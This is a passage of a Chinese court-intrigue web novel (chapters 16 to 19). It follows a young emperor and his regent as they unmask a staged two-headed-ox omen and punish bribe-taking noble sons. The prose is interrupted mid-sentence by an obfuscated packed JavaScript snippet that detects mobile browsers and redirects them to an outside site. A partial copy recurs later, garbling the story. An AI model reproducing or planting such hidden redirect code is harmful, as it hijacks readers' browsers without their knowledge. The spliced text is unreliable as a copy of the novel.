宋南卿抬起手在水面轻轻撩动,垂眼看见沈衡沾了荔枝汁水的手指还没擦干,下意识伸出舌头一舔,等舌尖与手指相触,他才反应过来自己干了什么,但此时小舌头已经被两指夹住了。他怯怯抬眼看向沈衡,表情有些僵硬。 “还敢跟我弄这些?”沈衡俯身盯着他,像是要看透他的心思。 男人浴衣薄薄一层披在身上,宽阔的肩膀肌肉线条流畅,比起穿那些象征身份地位的严肃官服,这样子反而侵略性更强。 宋南卿意识到沈衡好像会错意了,他没有想搞暧昧的,单纯是脑子抽了才舔荔枝水的。 只是现在舌头被夹住了他说不出话,甚至控制不住口水滴落,只能皱着眉用可怜的表情认错。 湿热的舌头在手指间哆嗦,想要缩回去但是徒劳,只能贴在上面被动舔舐。 沈衡眸色发暗,问:“卿卿好像还没有回答我今天的问题,从话本上学来这些招式,是想做什么?” 明明池水是温热的,但宋南卿却感觉对面人身上传来的气息更加灼热。 沈衡看他不说话,接着道:“上次的十个板子还未打完……” 宋南卿立马瞪圆了眼睛,抱住他的手臂快速摇头,哼哼唧唧说:“不要!不要打我了……上次手都痛了好几天呢。” 圆圆的眼睛从下往上看的时候很可爱,睫毛上还有一点水珠,被他那么抱着求,没有人可以不心软。 是的,没有人,但除了沈衡。他见多了这幅装可爱的可怜样子,也知道宋南卿最擅长这个。 “装可怜没有用,你知道的。”沈衡稳如风,说,“还是卿卿不想被打手心,别的地方也想挨打了。” 清澈见底的水中,一双白皙的脚缩了起来。宋南卿连忙屈起腿把脚藏在后面,这次是真想哭了。 他被藤条抽过一次脚心,最嫩生生的地方平时都不见天日的,被抽起来难受的想死,又痒又痛。但最难熬的还是被罚完第二天走路,肿胀的脚心连地都沾不得。 马上就要祭祀了,需要走好多路,如果先生真要那么罚他,他哭都哭不出来。 “不要!我说、我说还不行吗!” 宋南卿低头酝酿了许久,终于想好了说辞,他俯身趴到沈衡耳边低语了几句,脸颊泛红。 “因为这个?”沈衡挑眉,似是不信。 宋南卿支支吾吾又理直气壮道:“很、很难受的!你都不教我怎么弄,我自己又弄不舒服,话本上说这样就可以让对方对自己感兴趣……然后、然后就可以……”他说不下去,把脸埋在人肩膀上不说话了。 总不能实话实说,告诉沈衡自己的计划,说我在钓你吧。 沈衡抬手轻揉了下他的头发,嘴角微抬:“原来不是因为那个书生吗?” “谁?”宋南卿满脸疑惑,甚至想不出他说的是谁。 “那日你救的那个书生。”当着他的面亲自己,在服饰店演戏,他以为宋南卿是想利用自己,让对方吃醋……竟然是想岔了。 宋南卿本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053618|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来撑着池子边缘要站起来,听到这话岂料脚下一滑,整个人重心不稳跌倒在了水里,被沈衡拦腰一抱才不至于滑下去。 炙热的手臂搂在腰间,宋南卿靠在人怀里,被巨大的水花浇了一脸,原本慵懒的思绪彻底清醒了。 他怎么没想到呢!他怎么就没想到呢! 对啊,可以说是因为阮羡之啊,说他喜欢阮羡之,想在沈衡身上先试验。话本子里的什么因爱生恨,替身情人,什么恨明月高悬却不独照我…… 宋南卿悔不当初。 说不定还可以借此让沈衡有危机感,增加他的胜负欲,让他吃醋更喜欢自己呢,他怎么就没想到可以用阮羡之做借口! 他把脸埋在沈衡肩膀上,眼睛里毫无承认完自己欲望的羞涩,全都是对自己的反思。 宋南卿伸手揪住沈衡的衣摆,浸透了水的布料又滑又飘,像是拉不住似的。他把脸埋起来小声说:“我就算要喜欢也不会喜欢他吧。” “喜欢谁?”沈衡偏头看他。 一缕发丝沾湿贴在了腮边,宋南卿藏住自己的表情,声音断断续续道:“不敢说了,怕你打我。” 一圈圈涟漪从水中央荡漾开,也映出了二人贴在一起的影子。澄明的窗户纸映衬着外头的光,但池子最角落里却是太阳照不到的地方,每个人都知道那是见不得光的地方。 沈衡静了片刻,说:“还吃荔枝吗?” “不吃,我要吃葡萄,荔枝好吃但太难吃到了。”宋南卿推开他移动到了一旁。 沈衡凝眸:“卿卿是皇帝,该吃什么不该吃什么,不用我再教你。” 宋南卿转身趴在池边上,“你不让我好好吃荔枝,又不让我吃葡萄,哪有这样的道理。”他眼睛在四周扫了扫,皱眉道: “春见,上次说让你找的那个彩色珐琅匣子呢?” 春见从长长的屏风后面走出来,感觉气氛有些不对,低头说:“回陛下,奴才找遍了那日从倭人处收缴来的宝物,那个匣子确实是不见了。” 宋南卿拍了一下水面,不悦道:“你没跟他们说朕要留着?” 那日那些珠宝器物装在大箱子里运来,他一眼就看上了那个匣子,想着放浴室装东西正好,他堂堂一国之君,好不容易看上一样东西,竟然说没有就没有了? 沈衡在一旁道:“还是那么喜欢这些精巧玩意儿,上次送你的扳指也没见你好好收着。” 微风穿堂而来,乳白色的飘纱和水中雾气吹散了不少,二人的面容都变得清晰起来。 听到他说这个,宋南卿倒也不惧,手掌撑着下巴趴在水边,眼睛看向人淡淡道:“朕看有人更想要摄政王的赏,所以赏他了,他可还欢喜?” “你说御膳房总管?”沈衡瞥了池边一眼,“欢不欢喜不知道,只是前几日听说切肉时不小心把手指切掉了,看来是没这个福气承陛下的赏。” 宋南卿轻舔了下嘴角,慢慢移过去勾住了沈衡的手指,贴在人身边软声道:“我就知道先生还是对我好。” 沈衡垂眼看他,少年一双灵动的眸子亮晶晶的,还有一丝毫不避讳他的狡黠和自得。 “但那块翡翠我还想要的,毕竟是先生送我的。”他得了便宜还卖乖,伸手拉住沈衡,“而且我刚刚还损失了一个珐琅匣子。” 沈衡表情不变,眼波微动:“珐琅匣子找最疼你舅舅要去,户部那些东西都是他在管着。” 宋南卿从水中慢慢站起来,搭着春见伸过来的手从池中出来,看向沈衡说:“是我的就是我的,总有一天我会都拿回来。” 17.第十七章 前朝典故,说大盛朝高祖在立朝之前,也是受过艰难险阻的,草根未发家之时曾作僧人化缘,当时举国大旱粮食短缺,险些饿死,幸好一路到京郊,有心善之人布施米粥,才借此活下来。 但当他发迹之后来寻恩人,却得知恩人一家在大旱中因粮食短缺已经去世。为表感念之心,在京郊此处建立了祭坛,每年春日祭礼都会在此地开坛祭拜,祈福祈谷,祈求这年风调雨顺。 这块原来的京郊角落,现在的发展跟往日已不可同日而语,京兆尹几次搬迁后都搬到了此处不远。 高高的阶梯一阶接着一阶,最上方的青石平地上矗立着一座圆形的建筑,庄重的景泰蓝和孔雀绿在上方雕刻出龙纹图样,红色的大门上镶着金边,此刻正朝外打开。 里面的神像前跪着身着庄重繁复礼服的皇帝,他从沈衡手中接过三根香,笔直地插入香炉之中,低头拜倒之时,头上垂下的旒珠碰撞发出庄重的声响。众大臣跟随跪在殿外,行祭天之礼。在清雅肃穆的礼乐声中,沈衡宣读祭文的声音格外清正。 在钟声礼乐里,香炉里的烟随风飘散,像云又似雾,从宋南卿脸庞前飘过时,添了几分神性上去。 他跟随沈衡的礼赞词上香,行三跪九叩之礼,焚香气味熏得他有些喉咙痒,但又不能咳出来,脸边的玉珠串总会碰到脸,即使换过软垫子,他还是跪的膝盖有些疼。 终于,祭礼的第一道程序结束,宋南卿迫不及待从垫子上起来,手搭在沈衡的胳膊上支撑自己,左右晃了晃膝盖。 门外,穿着统一制服的仪鸾司侍卫动作整齐划一,抬着一个青铜鼎来到大殿门口正中央,在各种玉帛器物燃烧升起的青烟里,宋南卿缓步走近,观看着燔柴炉里青烟升腾。 他面前是大盛的一众官员,身后是沈衡和保佑生灵的神像,青烟升到半空,祥和之气向上蜿蜒。 腰间挂着短刀的侍卫后退一步,立在柴炉四角。宋南卿和其中一人对上了视线,眼神微动。 开坛祭祀完毕,宋南卿换了身衣服移动到了不远处的京兆府,突然提出想看看当地农户耕种。毕竟前几天他才在宫里亲自耕种过,想实地看看百姓劳作的样子。 京兆尹姚顺为他引路,恭敬道:“附近农田都是这些农户在种着,他们感念陛下恩泽,这次能得陛下亲自看望,必会感激涕零。” 路过一片绿叶繁茂的地方,就到了京兆府旁边的农田。太阳还未升高的时候,百姓们正在忙于耕种,皮肤黝黑一看就是经常沐浴阳光。 宋南卿面无表情踩死了一只爬到自己脚面上的毛毛虫,在田间地里看了看整齐播种的花生,对姚顺夸赞了两句。 正当他觉得风中吹来了树上的毛絮,感到脸痒之时,一个戴着帽子的农民,脸上洋溢着抑制不住的喜悦,跑到姚顺跟前道:“姚大人,大喜!草民家中母牛刚才产子,产下双头牛犊,是神牛下凡祥瑞之兆!” “何人敢在贵人面前喧哗!”跟在宋南卿身后的一个官员皱着眉呵斥道。 宋南卿摆摆手,道无妨。他似是很感兴趣对那个农民问:“耕牛主农桑,是关乎社稷大事,你方才说双头神牛?” 那个农民看见京兆尹姚大人毕恭毕敬带着一群人过来,想来都是大官,所以他才跑上来报喜,希望得个赏赐讨个彩头什么的,但走进了才发现,中间那个明艳年轻的少年,好像才是众人簇拥的对象,他有一些诧异。 看着少年那双明亮的眼睛,他似乎瞬间就被那张脸吸引住了心神,只会重复道:“是……是双头神牛。” “陛下,恕臣直言双头牛可不是什么祥瑞之兆,陛下还是不看为好。”礼部侍郎上前一步道。 那个农夫一双眼睛都瞪大了,听到这个称呼慌忙跪地,连磕头都忘了,就那么直勾勾看着宋南卿,似是要把这当朝天子的模样镌刻在脑海中一样,古铜色的手臂即将碰到宋南卿的鞋尖。 沈衡先一步挡住了宋南卿,侧过身挡住那个探究的目光,冷冷地瞥了农夫一眼。 宋南卿正在思考着什么,没关注农夫这边发生了什么,他问礼部侍郎:“李卿说这话何意?” “《易传》中曰:牛生子,二首一身……”礼部侍郎跪地拱手,胡子颤颤,声音减弱道,“……天下将分之像也。” 现场众人的后背都感到一阵凉意,无人敢出一声。 宋南卿的眼神从礼部侍郎身上转到农夫身上,最后转到了京兆尹姚顺身上,他一言不发但压迫感已至。 姚顺的汗已经从额角流到了衣领,他轰然跪地,深吸一口气为自己辩解道:“陛下明鉴,这事绝不是微臣指使,全是这农夫自作主张!” 换下了冕服,除去了礼冠,这个祭天时上香、祭祀时祝文的天命之子,即使年少,在群臣心中的地位和形象也已经高高在上了。不管信不信神佛信不信天命,宋南卿,的的确确是大盛王朝万人之上的统治者,每一次行礼、每一次祝祷、每一次不得不考虑他的想法、得到他的首肯意见,都会在每个人心中加强这个印象。 很安静,露天的环境也依然很安静,宋南卿移动了一步,脚边的小石子被踢飞出去,落在不远处发出“啪嗒”一声响,正好盖住了那个没死透的毛毛虫。 “给朕查,查到底,朕倒要看看是谁敢在祭谷的档口上,传出这种谣言来。” 宋南卿的目光扫视过现场众人,对姚顺说:“为了防止传出京兆府监守自盗的言论来,你就先歇一歇,是不是清白朕自有判断,魏进。” 随着一声名字的唤出,身着藏蓝色斗牛纹官服的高大男人单膝跪地,黑靴白底跪的笔挺,双手抱拳低头道:“奴才在。” “仪鸾司侍卫今日祭祀都在,你们以朕的名义探查这件事,务必查个水落石出,找出这个动摇民心国本的罪魁祸首。谁敢知而不言,格杀勿论。”宋南卿摸了下下巴,眼神清明,“事情未查出之前,各位先在京兆府一留。” 他嘴角轻挑对姚顺说:“姚大人不是说,前些日子自己种的菜吃起来很新鲜,也拿来给各位大人一起尝尝,自己辛苦种来的总比别人送来的吃着有滋味。” ———— 京兆府邸,一众前来祭祀之人挤在大厅,人多口杂七嘴八舌,有人坐立难安,有人老神在在。姚顺做京兆尹做了有几个年头了,在自家官府,他从来没有一次像今天这样不自在。 他喝了一口下人端上来的茶,轻叹一声转身对贾良道:“大人,臣真的没料到会出这种事,借我十个胆子我也不敢当着陛下的面搞这种事情啊。” 贾良淡淡瞥他一眼,说:“既不是你,那么紧张做什么,罪魁祸首自会紧张,陛下也一定会查个水落石出。” “可那农夫毕竟是我统辖范围内的……这天下将分之像……” “姚大人,你要相信贾大人的话,况且这天下就算将分,是谁与谁分呢,你还怕火烧到你头上不成。”一个人站在姚顺身边轻声说。 贾良端坐上位不再言语。 距离那个农夫和相关人员被拉入京兆府大牢已经过去大半个时辰了,下面还是没有任何消息传来。随着时间推移,被以保护为名实则是禁足在原地的众人,不免心头划过一道阴影。 与此处的紧张氛围不同,西配殿中静谧悠然,月影纱做的屏风上隐隐约约透出里面的两个人影来。 深色木桌上放着一个深绿色的小瓷罐,还没有巴掌大。沈衡挽起袖子,用一根长柄银质勺从瓷罐里挖出了 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他微低着头看沈衡衣袍上的竹叶刺绣,日光斜斜照进来,那枚蝴蝶影子移动到了他的头顶,他轻晃了下脑袋,说:“这边感觉更难受一点。” 另一侧脸被他偏过来对准了沈衡。 “知道自己过敏,还要到这种不干净的地方来。”沈衡抬指抵住他的下巴,打量起他的脸,道,“难受是应该的。” 宋南卿抬眼对上他的目光,“总不能等脏东西蔓延到龙椅上了,我再清扫,那时候就太迟了。” “不知道先生还记不记得,我小时候有一个喜欢的瓷鸟哨,我可以用它吹出母亲喜欢的曲子。但是九哥他们欺负我,那个哨子也被他们摔碎了,再也拼不起来。”他透过屏风看着外面的树梢,“那个时候我就想,抢走我东西的人,我一定会让他付出百十倍的代价偿还。” 沈衡拿过旁边的湿帕子擦手,微微颔首道:“这个是自然,以直报怨是论语倡导的。” “卿卿熟读论语我很欣慰,但我不记得教你读过《易经》。”沈衡淡淡说。 宋南卿眨了下眼睛,说:“教过的,先生教了我许多,大抵是忘了。” 二首一身,天下将分。如今能与宋南卿分天下的,除了以贾良为首的那一帮人,就只有摄政王沈衡。至于那些与他同父异母的皇兄们,死的死流放的流放,唯一还在京城的九王也是身体不好一直抱恙,已经许久未出来活动了。 这个双头牛出现的蹊跷,此次探查宋南卿完全没有让旁人经手,但有点脑子的人都知道,这个谣言的指向者,也就是非上面二位莫属。到底是否是谣言,怎么处理很重要。 如果是天意,那么宋南卿的皇位岌岌可危,如果真的有作乱之人,那就是蓄意扰乱朝廷有分裂图谋。双头牛这个局,做局之人只会有三个,受益人也只会有两方。 作为有二分之一概率传谣言的受益方,沈衡好像并没有引起宋南卿的怀疑,小皇帝被涂完药膏之后趴在桌上,张开嘴对着他指使:“我要吃那个梅子。” 那双眼睛依旧那样天真、澄澈、充满依赖和信任,沈衡却从他身上看到了自己从前的影子。 一颗青梅被送进宋南卿嘴里,他皱起脸口齿不清道:“酸……好酸!” 就在他被酸到流口水,到处找东西要吐出嘴里的梅子时,沈衡一只手盖住了他的嘴,道:“自己要吃的就吃完。” 宋南卿扒拉着他的手臂胡乱扑腾,含糊谴责道:“放开我……你这是欺负小孩!欺负了我等会儿要帮我的!” “又让我帮你?那我可得欺负够本儿。”沈衡捏着他的脸说。 屋外门被敲响,魏进严肃正直的声音从门外传来:“陛下,有新发现。” 18.第十八章 京兆府的大堂设计的很大,对面正对着大门,透过打开的窗户可以看见府门出来进去的人,门口训练有素身量高大的侍卫分两排镇守。 一开始众人心怀鬼胎坐着,但当看见不断有自家子孙辈的孩子被带到这里,在侍卫的押送下前往地牢方向之时,都慌起神来,争着要闯出去。 仪鸾司侍卫刀一拔,寒光闪现的刀尖就已经抵在各位大人的脖子上了。在场能跟着来祭祀的,都是职位不低的高官,他们除了在上级面前卑躬屈膝,已经很久没有遇到过敢对自己如此放肆的人。但刀剑不长眼,这些带刀侍卫不讲什么情理也不跟他们废话。 眼看着金尊玉贵的高官之后一个个进入地牢,众人都在心里带着恐惧想:到底是得罪了谁? “贾大人,您说句话啊,大家平日可都以您马首是瞻,陛下今日到底要做什么,您老倒是跟大家透个底啊。” “就是啊,哪有不让人出去的道理,您跟陛下好好说说,这事真不是我们干的,找罪魁祸首抓我们这些无辜的人做什么。” 在吵嚷声中,一道沉重靴子踩在地面的声音由远及近传来。 来人身上带着血腥和寒气,斜挂在腰间的刀随着走路的动作摇晃,他扫视过在场的一众大臣,念出了几个名字,正是刚刚子孙一辈被带入地牢的几位。 “各位大人,陛下有请。” 令人不寒而栗的眼神扫过,几个大臣纷纷拿眼神去看贾良求助,贾良没什么反应。他完全不知道这是怎么一回事,就算这些人是跟他交好的下属,但他在这个位置上也没别的办法,因为如果是冲着这些人来的,那就是冲着他来的,最终总会让他去的。如果轻举妄动求情,反而就落入陷阱了。 京兆府正殿大堂地板上铺着青色方砖,中间一尺高的木台被四根柱子围绕,惊堂木旁边是两种颜色的令签筒,象征海晏河清的壁画前,宋南卿端坐在上,他摸了一把砚台,表情凝重。 被压着跪在下面正中间的那个农夫被捆住双手,从面色看是受了一些拷问,此时如受了惊的寒蝉,跪趴在地一个劲打哆嗦。 “把你刚刚说过的话,再清楚说一遍,是谁指使你今日来以双头牛之事报喜?”宋南卿一拍惊堂木,清亮的音色此时压低了一些,也带上了某种不知名的压迫感。 那个农夫哆哆嗦嗦说:“那日郗家公子大婚,小人作为郗家庄子上的租客,带了些土特产和野鸡前去贺喜,小人……每月会给各位公子带野味和…和一些小玩意儿,那日公子们喝多了高兴,跟小人多说了一些。” “这双头牛,就是他们告诉小人,说今日府尹招待贵客,可去讨个彩头,如果成功了,也是我自己的造化。这双头牛不是小人故意谣传,是他们指使的啊大人!” 被扣押在一旁的几个官宦子弟都面露愤懑,还有指着他想开骂的,都被仪鸾司使按了下来。 宋南卿撑着下巴看向那群衣冠楚楚的子弟,问农夫:“你说的可是他们?” 农夫扭头看向那个方向,然后慌忙点头:“正是。” 宋南卿问:“你们有何话要说?” 平时肚子里没二两墨水只晓得骑马玩乐的世家子弟们明显慌了神。 宋南卿嘴角微挑:“这样吧,你们的父辈都是朕的肱骨之臣,你们自己说,谁是那个主使,其余人我念在你们自愿认错的份上,从轻发落。” 两排侍卫站在大堂左右,当今圣上亲自问责,更别提旁边还坐着那个,他们小时候一听见名头就会被吓哭的摄政王沈衡。传说他连斩十个敌人首级穿成串,而且最讨厌不听话的小孩。虽然这些传言随着他们长大知道这是夸张,但哪个京城孩子没被摄政王的阴影笼罩过呢。 此时那些大臣们还没被放进来,他们以为自家小孩还被关在地牢。众人你一言我一语,都想推卸责任,但他们还没有蠢到真的认罪。 沈衡坐在一旁开口道:“你一介农夫,有什么小玩意能让他们看上眼,月月去送?” 宋南卿手指在桌面轻敲了下,叫道:“魏进。” 魏进站在一旁低头道:“奴才探查清楚了,这个农夫的妻子平时在市集做小生意,他还有个弟弟,前月才在衙门里做了个小官,是受各位大人的公子引荐的。” 魏进一靠近,那个农夫就哆嗦着被吓得想跑,魏进站在他身边道:“双头牛谣言是谋逆大罪,他们推你出来传谣其实是害了你,如果识相一点说出主使,陛下自会公平决断,如若不然,刚才牢里的情况你也见到了,不止你,你的家人都会因为谋逆罪名被杀头。” 宋南卿两指捏起签筒里的一个黑色令签,左右晃了晃懒懒道:“还等着他们救你呢?你看他们有救你的意思吗?别跟他废话了,剁两根手指就什么都说了。” “别在这儿剁,脏了陛下眼睛。”沈衡在旁边接话道。 魏进应了一声就要拖人下去,农夫大叫一声拼命拽着地上的垫子不肯放手,声音凄然道:“别!我说…我什么都说。” 京兆府的墙体很厚,地牢里无论多难听的声音都传不到上面来,内外也一样。当被叫到名字的大臣穿过一道爬山虎叶覆盖满的拱门后,看见自家子侄被仪鸾司侍卫扣押在原地,离得远了什么都听不见,他们着急忙慌往大堂赶,正要进门的时候,和旁边方向一道高大清瘦的身影撞在了一起。 那人看样子也很着急,被撞倒了也只是轻拂了下衣衫灰尘,随即迈着步伐朝大堂走去。 “这人谁啊,连句话都不说的。”兵部尚书被无视后,看着他的背影谴责道。 “你做官晚接触的不多,此人是郗文康,年轻时才情出众,但言行不慎得罪了先帝被罢官,一直赋闲在家呢。”旁边人解释说,随即疑惑道,“不过他已经许久不问世了,他怎么会来。” 京兆府大堂内,宋南卿一袭深蓝色云纹滚边衣袍,黑色腰带束在腰部显得精神十足,他垂眼坐在中间台前,对着依次向自己行礼的众大臣看去,最后目光落到了边角那个清瘦的身影上。 “情况就是如此,朕竟不知道什么时候买官成了一件如此稀松平常的事,在你们这些世家子弟眼里,成了敛财的工具,以至于有今天这种大逆不道危害朝廷的谣言传出来!”宋南卿让魏进把农夫为自己弟弟买官的事情简单说了一下,皱起眉头大怒。 这群人不学无术也罢了,仗着自己父兄手里那点权力,随便说两句话就能把随便什么人塞进官僚体系中做个小官捞油水,他们一个个都是族中的掌中宝,说几句话安插个人是手到擒来的事,但背地里收了人家大把银钱挥霍。因为大盛的文官每月俸禄并不多,靠两袖清风做官那真是两手空空。 那天郗家长子结婚,他们喝多了之后胡说了两句典故,真让那来送礼的农夫听去想讨贵人欢心博前程,只是没料到马屁拍到了马腿上,差点酿成分裂天下的大祸。 宋南卿沉下声音说:“只是不知这件事只有他们这些小辈品行不端,还是各位有所授意呢?” 别有深意的眼神扫过众人,他们背后出了一层薄汗。但以往这种时刻,都有贾良坐镇,他们这些世家门阀的权力都有贾大人保障着,再不济,还有王潜那个一张嘴叭叭说不停的为他们的共同利益辩解,但现在,二人都不在,他们这些习惯了有人庇佑的除了一个劲认错保证之外,说不出什么花来,只能说自己绝对没有谋逆不臣之心,双头牛天下将分的谣言也都是小辈胡说的,绝对没有他们半分授意。 “有心也好,无心也罢,之前陈立文说科举改制之事朕还不以为然,但如今看来,再那么下去,世家子弟不学无术靠家世荫庇就能轻松做官,他们也没有努力上进真才实学的必要。对个人,长成废材是可以预见;对家族也是拖累;对朝廷而言,更是培养一群蛀虫。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时,刚刚一直站在角落未置一词的郗文康出言道:“陛下,今日之事都是在我郗家宴席上发生,郗家难辞其咎,草民愿意代表郗家为科举场所修缮捐助钱款,也算是为朝廷尽一点心意。” 他在家听说前些天郗渐大婚时请来的世家子弟,都被带走拷问,郗渐父亲他的二弟被外派巡视回不来,郗渐又跟着新娘子回娘家了,怕为郗家招来祸患,他才赶紧来看看到底是出什么大事。 宋南卿垂眼看他,这个他娘亲写在书信中的男人确实有和旁人不同的风姿,至今仍然未婚。如果当年母亲没有被父兄强迫入宫,大概这一生会过的更幸福吧,不过那样的话就没有他了。 他不着痕迹打量了郗文康几眼,说:“郗家有如此风骨,倒是让朕耳目一新。” “朕之前听闻,你善建造制图,可有其事?” 郗文康还是第一次见当今圣上,自他被罢官之后,虽然弟弟还在朝廷活动,但他本人已经避世许久,现在这个少年天子,是前朝贵妃贾娴之子……他怎么也想不到,最后会是他当上了皇帝。 宋南卿的眉眼间有他母亲的样子,微微上挑的眼尾,跟贾娴一脉相承。郗文康不敢多看,连忙低头回话道:“草民只是略有研究,称不上擅长。” 他曾经主管过翰林院的建造修缮,在工部任职,不做官回家之后也给人设计园林建造,在他年轻时,人人都称赞他才情出众,是不世出的天才,连神童郗渐,大家都说是继承了大伯的天赋。只是一步踏错惹先帝厌弃,这才闲赋在家。 宋南卿点头道:“略有研究已足够,既然你为科举场所修缮捐了银子,那么只有你来亲自规划,朕才能确保每一两银子都用到它该去的地方去。” “郗家长子大婚本是喜事,你也预料不到会有人在宴席上生出这许多事来,既是刚刚大婚,就别让这些是非给喜事添上晦气了,你安心去工部做事就好。” 郗渐也是今年科考,有了陛下这句话,他就不必因着这事被牵连了。 宋南卿在即将散场之时,端起茶杯没送到嘴边,似是突然想起什么似的对沈衡说:“那日我去舅舅府上,还看到他在为寒门子弟开设小课堂教学,同为人臣,有人教子不严惹出祸事,有人两袖清风为百姓纳福,着实天壤之别。” 19.第十九章 二人说话虽轻,但在场许多人都听到了。 他们教子不严确实有错,但贾良之子贾士凯就是什么好东西吗?那日郗家宴请贾士凯没去,是因为言官在陛下面前说他在青楼和人大打出手,弹劾贾良家风不正。被贾良以请家法后受伤卧床不能外出为由,禁足在家里了。 想到这儿,在场几位一直以贾良马首是瞻的大臣相互对了个眼神。 收人钱款给个小官做这事,最后的拍板决定权还是在贾良手里,那天喜宴贾士凯没去,到底是真被打了,还是贾良知道那天会出祸事才故意不让自己儿子去淌这趟浑水…这些年他们追随贾良,赚了不少银子也送出去不少礼,不就是为了自己、子孙挣个好前程吗? 今日事发,京城权贵圈子里四分之一子弟无缘此次科举,就算扩大了平民入科考比例,但在权贵圈子里,能和贾士凯相争的没有几个人了,他岂不是稳稳入仕?看摄政王和陛下的意思,科举要改制,以后入朝为官就没有那么容易了。 今日这腌臜事贾良半分没沾染,在陛下那里依然是清清白白的首辅,贾士凯也没像自己子孙一般在陛下面前留下坏印象。但说起受贿贪污,说起来钱权交易,他们只是贾良手下的刀罢了,真正的罪魁祸首端坐云端,反而是他们这群吃他手指缝里露出几个银子的小鱼小虾,又是赔钱又是禁足无缘科考,真是赔了夫人又折兵。 贾大人今日那副事不关己的样子,到底是真不知道,还是料定了他们就算被做局也无可奈何?若有一日真的东窗事发,陛下到底是会信他们都是受贾良指使,还是信他自己的亲舅舅? 散场时一众人鸦雀无声,等出了京兆府,才有人遮住嘴道:“这样一来,户部倒是不用担心拿不出银子的事了。” “我们被设计了。” 他们都以为今日双头牛一事要么冲着陛下来的,要么冲着摄政王或者贾良来的,没想到啊没想到,谣言重重拿起又轻轻放下,原来一切是冲着他们口袋里的银子来的。 看谁是做局人,就看谁从中获利最大。 一阵西风吹过卷起了树上的叶子,本来已经变暖的天气因为这阵冷风,又变得凉了起来。端午将至,宫中人人都为了这个即将到来的节日忙了起来。 御膳房换了个新总管,尤其擅长精巧点心,因着端午,这日特意做了艾草窝窝和五毒饼来。 长长的屏风上画着青绿色的茂盛树木,大刀阔斧般泼墨的花树开得耀眼灿烂。宋南卿披着刚洗完的头发躺在摇椅里,如丝绸般顺滑黑亮的长发被搭在专门的木架子上散开,每一丝头发都被均匀摊开铺在阳光下。他身上随意穿了件浅绿色的袍子,金线织就的纹路在阳光下反射出明媚的光芒。 春见端着御膳房送来的点心上前,对躺在摇椅里晃晃悠悠即将要睡着的宋南卿轻声道:“陛下,御膳房新做的时令点心,您要不要尝尝。” 太阳照在人身上暖洋洋的,宋南卿懒懒抬起胳膊,袖子从手腕滑过,露出细细的一截腕骨,他闭着眼抬手摸去,手指没碰到什么,反而一个带着植物清香的东西触碰到了自己的嘴唇。 宋南卿快速睁开眼,问责还没出口,就看到了一抹熟悉的身影。 来人身姿挺拔气质如青松,有山岳压顶之势,高挺的鼻梁宛如刀削,眉眼如墨透着冷峻,但在看向他时却目光灼灼。不知何时进来的沈衡已经坐在了他旁边的圆凳上,一块小小的绿豆糕被他捏在指尖凑到宋南卿嘴边。 宋南卿半靠在躺椅里,圆圆的眼睛抬起看他,对着绿豆糕轻咬了一口。 “新来的厨子不错。”他轻舔了嘴角的碎屑,搭在架子上的头发也随之晃了晃。 沈衡伸手摸了把他的发丝,潮意已经很轻,差不多晾干了。丝滑的长发在指缝溜走,还有皂角特殊的香气。 宋南卿握住人的手朝上抬,说:“这个很好吃哎,你尝一下。” 四方的绿豆糕被咬了一个边角,沈衡看了两眼,连带着咬下来一半。 宋南卿起身眼睛亮亮地盯着他,似是期待他的反馈。长长的青丝从架子上滑落在空中扬起,又很快散落贴在了背上。一缕风吹来,淡绿色的衣摆轻轻扬起,和黑发一起飘在风中,也让刚刚沐浴过后的清爽香气一起在风中弥漫。 “还不错。”沈衡吃完后发表意见,随手拿起帕子给宋南卿擦去嘴角的碎屑。 宋南卿不满意,抱住他的手臂说:“明明就是很好吃好不好!先生太挑剔了。” 沈衡拎起他胸口散开的衣领朝里拢了拢,问:“那么喜欢这个厨子?”他眼神微沉。 阳光照在裸露的肌肤上,朦胧又带着特殊的光泽感,宋南卿躺的随意,刚刚动作幅度又大,被他捏住衣领感觉不舒服,伸手推了推他,衣领散开露出了胸前的大片皮肤和锁骨。 “把衣裳穿好,九五至尊,像什么样子。”沈衡坐在一旁眼睛微垂,声音带着不悦管教道。 宋南卿低头看了几眼,扁扁嘴不服道:“又没有外人,平时里三层外三层穿那些衣裳已经够累了,在我自己寝宫里还不能随意吗?先生好凶!” “刚帮了你,就是那么回报的?”沈衡捏住他的衣领边缘,声音听不出喜怒,“端午京里官员举办龙舟祭神,之前都是贾府组织,今年郗家也出人办这事了。” 宋南卿来了兴趣,忙把手中的茶放下,凑近了点问他:“但这龙舟祭神向来都只有一个主家,郗家也出面,那大家是去谁的那边是?” 沈衡的手指在摇椅边缘轻点,眼珠又黑又亮,“情况当然是如你所愿。” 自双头牛一事世族子弟大部分受惩罚,在心里都对贾良有了或多或少的猜忌和怀疑,反而是那个他的死对头郗家被圣上重新启用,还一来就是修造科考所这种大事。大家都知道当年贾良和郗家郗文康闹的很不愉快,两家不睦已经久已。比起笑里藏刀的贾良,大家今年更多地去了为人正品清高的郗文康那边去。 一来是想看看郗家有没有翻身再起的可能,二来,他们被那日贾良的做派寒了心。一家独大他们只能追随贾良,就算背黑锅、被卸磨杀驴、赚不到足够的收获也无可奈何,但如果郗家起来了,一切都不一样了。 宋南卿睁大眼睛,嘴边浅浅挤出一道窝,眼神灵动望向沈衡说:“有先生在,我自然想要什么得到什么。” “端午祭神我之所以不去凑热闹,就是因为神在我面前呢。”他抬高胳膊抱住沈衡,仰起脸笑着说,圆圆的眼睛弯成了月牙的形状,身上沐浴后的清香直往人鼻子里钻。 沈衡伸出两指按在他额头上,阻止住他想凑过来的动作,低声道:“不用讨我欢心,说说打算怎么回报。因为我在京兆府帮你做的那出戏,贾良现在恨不得弄死我。” 宋南卿舔了下嘴角,幽幽道:“他本来就想弄死你很久了,又不差这一回。” 沈衡扬眉问:“说什么?” 